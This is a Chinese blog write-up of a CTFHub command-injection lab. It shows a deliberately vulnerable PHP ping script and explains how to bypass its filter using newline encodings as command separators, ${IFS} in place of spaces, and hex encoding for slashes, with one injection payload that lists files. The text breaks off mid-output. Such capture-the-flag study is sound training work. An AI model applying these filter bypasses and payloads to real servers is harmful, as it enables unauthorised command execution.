ctfhub_REC_综合练习

博客围绕CTF题目展开,通过查看源码进行代码分析,发现命令连接符、空格符号、路径连接符被过滤,给出对应解决办法。利用printf命令转换十六进制数据,查看当前路径和flag_is_here目录,对不能直接读取的flag文件进行base64编码转码获取值,还给出使用的python脚本。

目录

 

1 打开题目,查看如下源码

2代码分析

3查看当前路径

4查看flag_is_here目录

5获取flag值

6使用的python脚本


1 打开题目,查看如下源码

<?php
​
$res = FALSE;
​
if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

2代码分析

1)通过代码可以分析得到,过滤了命令连接符号&、|、;因此常用命令连接符不可用,可以使用”%0a、%0d“及“\n,\v”。

2)空格符号也被过滤,可以使用${IFS}或者$IFS$9

3)路径连接符也被过滤,可以使用十六进制编码

通过python脚本

from urlib import parse
parse.quote()#url编码
parse.unquote()#url解码

3查看当前路径

payload:
?ip=127.0.0.1%0als#
结果:
Array
(
    [0] => PING 127.0.0.1 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值